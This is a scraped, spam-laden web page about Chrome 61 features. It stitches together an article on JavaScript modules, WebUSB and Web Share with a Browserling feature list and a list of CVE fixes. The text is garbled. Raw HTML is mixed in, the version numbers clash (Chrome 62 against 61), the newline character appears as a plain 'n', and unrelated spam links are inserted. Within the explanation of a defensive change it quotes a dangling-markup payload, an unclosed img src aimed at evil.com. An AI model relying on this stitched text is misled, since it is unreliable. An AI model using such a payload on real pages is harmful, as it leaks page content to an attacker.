Chrome 61 Features

Download Chrome OS 61 Update Available with New Features. By RSS POST Leave a Comment ad1 Google's 2017 event was a success with announcements concerning hardware products and software features available soon on the market. Some devices unveiled at the 2017 event were only a rumor up until yesterday and therefore, the. But not anymore, Chrome 62 has been given the WebUSB API, which allows web apps to communicate with USB devices as soon as the user has permitted to. If you are interested to that, take a llok at the WebUSB spec. This is how it looks to select and access Arduino boards through the web: Developer features and updates in Chrome 61.

Chrome 61, the latest release of the dominant browser both on the desktop and on mobiles, is about to start being rolled out. Its twin highlights are native support for JavaScript modules and the inclusion of the WebUSB API. In addition the Web Share API is available on Android.

Adding native support for JavaScript modules with:

makes it possible for Chrome to fetch granular dependencies in parallel, taking advantage of caching, avoiding duplications across the page and ensuring that script executes in the correct order.

According to Pete LePage :

This standardized module system unifies the way modular JavaScript can be written and shipped to web browsers. In the future, the same system will be available in Node, making it easier for you to write and deploy isomorphic JavaScript.

The inclusion of the WebUSB API allows web apps to communicate with a wider range of USB devices than the keyboards, mice, printers, and gamepads that are supported by high-level web platform APIs., WebUSB open the way to using specialized educational, scientific, industrial and other USB devices in the browser without requiring specialized drivers. All that is needed is the user's consent.

The Web Share API is a feature that has comes high on developers' wish lists as it avoids them having to integrate sharing buttons for each social network. Now you can use navigator.share to trigger the native Android share dialog:

In a future release, this API will also be able to share to installed web apps.

LePage introduces these features in this video:

Other notable features and major changes in Chrome 61 include:

• Mobile device throttling simulation. Set CPU and network throttling simultaneously, to simulate mid-tier or low-end mobile devices.
• Storage usage. View how much storage an origin is using, broken down by technology (IndexedDB, cache, local, session, etc.).
• Cache timestamps. View when a service worker cached a response.
• Enable the FPS Meter from the Command Menu.
• Change mousewheel and trackpad behavior in the Performance panel.
• Debug ES6 modules natively.

Kayce Basques demonstrates these new features in this video:

Download Google Chrome 61

There are also several Deprecations and Removals in Chrome 61 and head of the list is a cxhange that aims to mitigate the type of hacking called dangling markup injection in which a truncated URL is used to send data to an external endpoint. Chrome 61 bocks resources whose URLs contain 'n' and '<' characters in href and src attributes.

Is anything is this release going to improve Chrome desktop performance - which has become almost unworkable for those who want to open many Windows tabs and switch rapidly between them. Until this problem is solved the best strategy appears to be to switch to Firefox, which over recent releases has become much, much better and as we recently reported beats Chrome by a mile - but even it isn't perfect.

More Information

Related Articles

To be informed about new articles on I Programmer, sign up for our weekly newsletter,subscribe to the RSS feed and follow us on, Twitter,Facebook or Linkedin.

Comments

or email your comment to: comments@i-programmer.info

Chrome 61 was released today and are proud to announce that it is up in our systems, too. Bluestacks setup google. It took us just 7 minutes after Google's original announcement to add it to our browser cloud. This is how fast we are.

Want to try it?

What's new in Chrome 61?

Chrome 61 Features List

• Native support for JavaScript modules.
• A number of fixes and improvements.

For iOS:

• Added a new button for scanning QR codes above the virtual keyboard.

For Android:

• Addition of Web Share API.
• Bug fixes and performance improvements.
• Translate pages with a more compact and intuitive toolbar.
• Pick images to post online with an improved image picker.

Web Share API

Regarding Chrome for Android, the Web Share API available today will allow you to easily integrate native sharing functionality to the user's device. That's right you won't have to include codes from 3rd party sites for this from now on. It is planned that this API will also be able to share to installed web apps. To use it, simply call navigator.share with the details of the page you want to share the system will take care for the rest. The Web Share API is a Promise-based, single method API.

Chrome 61 Features Free

JavaScipt Modules

Chrome 61 provides native support for JavaScript modules via the </code> element. That way Chrome can fetch granular dependencies in parallel, taking advantage of caching, avoiding duplications across the page and ensuring that script executes in the correct order.</p><p><strong>WebUSB</strong></p><h2>Google Chrome 61</h2><p>Generic hardware peripherals such as printers, keyboards, gamepads and mice are supported by high-level APIs. But specialized USB devices working in the browsers has been a challenge, often requiring specialized drivers respectively. But not anymore, Chrome 62 has been given the WebUSB API, which allows web apps to communicate with USB devices as soon as the user has permitted to. If you are interested to that, take a llok at the WebUSB spec.This is how it looks to select and access Arduino boards through the web:</p><p>Add new printer <a href='https://softplayer.mystrikingly.com/blog/add-new-printer-mac'>mac</a>. <strong>Developer features and updates in Chrome 61</strong></p><ul><li><strong>Blocking resources whose URLs contain both <code>n</code> and <code><</code> characters.</strong> - As discussed in here, some forms of dangling markup attacks rely upon injecting an unclosed attribute that sucks up portions of a page, and exfiltrates them to an external endpoint (e.g. <code><img src='https://evil.com/?</code> eats the page until the next <code>'</code>). This is possible because the URL parser helpfully discards newline characters. It would be lovely if we could make the parser less helpful.</li><li><strong>CSP: Embedded Enforcement</strong> - CSP's Embedded enforcement defines a mechanism by which a web page can embed a nested browsing context if and only if it agrees to enforce a particular set of restrictions upon itself. We should prototype an implementation to see if it's something that solves real problems in a way we can ship.</li><li><strong>CSSOM View smooth scroll API</strong> - Adds an optional argument to existing scroll APIs that specifies whether scrolling should be smooth. Also adds a CSS property for this.</li><li><strong>Clear-Site-Data header</strong> - A ‘Clear-Site-Data' HTTP header prompts the user agent to clear browsing data associated with the requesting website. The supported browsing data types are cookies, storage (i.e. 'site data'), and cache. This is a privacy and security enhancing feature. A sensitive website can trigger local data deletion after the user signs out. A website dealing with a persistent XSS attack can use this to ‘reset' itself to a clean state.</li><li><strong>DOMTokenList replace()</strong> - Add the <code>replace()</code> function to <code>DOMTokenList</code> interface. We can use it like <code>element.classList.replace('inactive', 'active')</code>.</li><li><strong>Deprecate and remove Presentation API on insecure contexts</strong> - In aligning with Blink's intention to remove powerful features on insecure origins, we plan to deprecate and remove support for the Presentation API on insecure contexts. The initial milestone (M61) is for deprecation of PresentationRequest and PresentationReceiver. The target milestone for removal is M71 (December 2018).</li><li><strong>Expect-CT header</strong> - Expect-CT is an HTTP header that allows sites to opt in to reporting and/or enforcement of Certificate Transparency requirements, which prevents the use of misissued certificates for that site from going unnoticed. When a site enables the Expect-CT header, they are requesting that Chrome check that any certificate for that site appears in public CT logs.</li><li><strong>Geometry interfaces</strong> - This specification describes several geometry interfaces for the representation of points, rectangles, quadrilaterals and transformation matrices with the dimension of 3x2 and 4x4. SVGPoint, SVGRect and SVGMatrix will be aliased to new interfaces. Their old methods will be maintained and some new methods are introduced. In the near future, CSS transform will be updated so they can work directly with the new objects. This avoid parsing on the js side.</li><li><strong>HTMLIFrameElement.allowpaymentrequest</strong> - Returns a Boolean indicating whether the Payment Request API may be invoked on a cross-origin iframe.</li><li><strong>HTTP Client Hints: Device-Memory</strong> - Client header to expose the device Memory to web applications.</li><li><strong>Interoperable body/documentElement scroll behavior</strong> - Update Blink to match the CSSOM View spec's behavior around element scrolling APIs for documentElement and body, i.e.: <code>scrollTop</code>, <code>scrollLeft</code>, <code>scrollWidth</code>, <code>scrollHeight</code> and <code>Document.scrollingElement</code></li><li><strong>Intervention: Passive Event Listener for <code>type 'mousewheel' && target window && function_name 'ssc_wheel'</code></strong> - The smoothscroll.js code is largely broken and is preventing us from shipping scroll top interop. With the scroll top interop behavior activated sites fail to scroll at all with the wheel event. This library was corrected a few years ago but the web continues to clone the broken version and we have been blocked in shipping this long implemented fix for interop. Smooth scroll has been enabled in Chrome for a number of releases so using custom smooth scrolling is not necessary anymore.</li><li><strong>JavaScript dialogs exit HTML5 fullscreen</strong> - If a page shows a JavaScript dialog while it is in fullscreen (the HTML5 kind), it is exited from fullscreen.</li><li><strong>JavaScript modules: <code><script type=module></code></strong> - JavaScript modules allow a program to be divided into multiple sequences of statements and declarations. Each module explicitly identifies declarations it uses that need to be provided by other modules and which of its declarations are available for use by other modules. <code><script type=module></code> allows loading of JavaScript modules inside web pages.</li><li><strong>MediaStream Image Capture - getPhotoSettings() method</strong> - This chrome feature tracks adding the method getPhotoSettings() [1] to the currently landed ImageCapture object [2]. It's a trivial follow up to the MediaStream Image Capture API shipped in 59 [3].</li><li><strong>MediaStreamTrack.getSettings()</strong> - Returns the current settings of a <code>MediaStreamTrack</code>, including information such as (for video) width, height or framerate.</li><li><strong>Network Information</strong> - The Network Information API enables web applications to access the underlying connection information of the device.</li><li><strong>PaymentRequest</strong> - An API that allows browsers to act as an intermediary between the three key parties in a financial transaction: the merchant (e.g. an online web store), the buyer (e.g. the user buying from the online web store), and the Payment Method (e.g. credit card). Information necessary to process and confirm a transaction is passed between the Payment Method and the merchant via the browser with the buyer confirming and authorizing as necessary across the flow.</li><li><strong>Referrer policies 'same-origin', 'strict-origin', 'strict-origin-when-cross-origin'</strong> - The Referrer Policy specification includes three policy values that Chrome doesn't yet implement. - same-origin: Send full referrers same-origin, no referrers cross-origin. - strict-origin: Strip referrers to the origin, but strip them when downgrading from HTTPS to HTTP. - strict-origin-when-cross-origin: Send full referrers same-origin, and the origin when cross-origin, but strip referrers when downgrading from HTTPS to HTTP.</li><li><strong>Resource Timing & Navigation Timing: add nextHopProtocol property</strong> - <code>nextHopProtocol</code> has been in the spec for RT & NT but was not implemented in chrome yet. It is now landed and will ship in M61</li><li><strong>Storage quota estimate() API</strong> - navigator.storage.estimate() - returns a Promise which resolves with {usage, quota} values in bytes.</li><li><strong>SyncManager interface exposed to all workers</strong> - Historically the <code>SyncManager</code> interface was only exposed to the window and service workers. This feature exposes the interface to all workers.</li><li><strong>URLSearchParams: sort() method</strong> - Sorts all name-value pairs stored in a <code>URLSearchParams</code>. Proposed at issues26 to improve cache hit rate easily.</li><li><strong>URLSearchParams: updated constructor</strong> - <code>URLSearchParams</code> constructor has been changed in pull175. It is now possible to create a new URLSearchParams by passing it any object (e.g. <code>new URLSearchParams({'foo': 'bar'})</code>).</li><li><strong>Update colSpan max value to 1000</strong> - Update <code>colSpan</code> max value from 8190 to 1000 as per spec change. [1][2]</li><li><strong>Web Share API</strong> - Web Share is a proposed API for sharing data (text, URLs, images) from the web to an app of the user's choosing.</li><li><strong>WebUSB API</strong> - The web platform API to support programming USB devices.</li><li><strong>getAttributeNames() of Element interface</strong> - <code>getAttributeNames()</code> is a function to rerun a list of attribute names of an element.</li><li><strong>onwheel in GlobalEventHandlers</strong> - Previously we had onwheel attributes as part of the Element. Now we are moving them to <code>GlobalEventHandlers</code> to make them consistent with the other on'event' attributes.</li><li><strong>visualViewport API</strong> - Exposes information about the visual viewport to the page.</li></ul><p><strong>Bug fixes</strong></p><p>High-threat bug fixes</p><ul><li>CVE-2017-5111: Use after free in PDFium. Reported by Luật Nguyễn (@l4wio) of KeenLab, Tencent on 2017-06-27</li><li>CVE-2017-5112: Heap buffer overflow in WebGL. Reported by Tobias Klein (www.trapkit.de) on 2017-07-10</li><li>CVE-2017-5113: Heap buffer overflow in Skia. Reported by Anonymous on 2017-07-20</li><li>CVE-2017-5114: Memory lifecycle issue in PDFium. Reported by Ke Liu of Tencent's Xuanwu LAB on 2017-08-07</li><li>CVE-2017-5115: Type confusion in V8. Reported by Marco Giovannini on 2017-07-17</li><li>CVE-2017-5116: Type confusion in V8. Reported Guang Gong of Alpha Team, Qihoo 360 on 2017-08-28</li></ul><p>Medium-threat bug fixes</p><ul><li>CVE-2017-5117: Use of uninitialized value in Skia. Reported by Tobias Klein (www.trapkit.de) on 2017-07-04</li><li>CVE-2017-5118: Bypass of Content Security Policy in Blink. Reported by WenXu Wu of Tencent's Xuanwu Lab on 2017-07-24</li><li>CVE-2017-5119: Use of uninitialized value in Skia. Reported by Anonymous on 2017-05-22</li></ul><p>Low-threat bug fixes:</p><ul><li>CVE-2017-5120: Potential HTTPS downgrade during redirect navigation. Reported by Xiaoyin Liu (@general_nfs) on 2017-05-05</li></ul><p>Have a wonderful time using Browserling. Our cross-browser testing service!</p><br><br><br><br>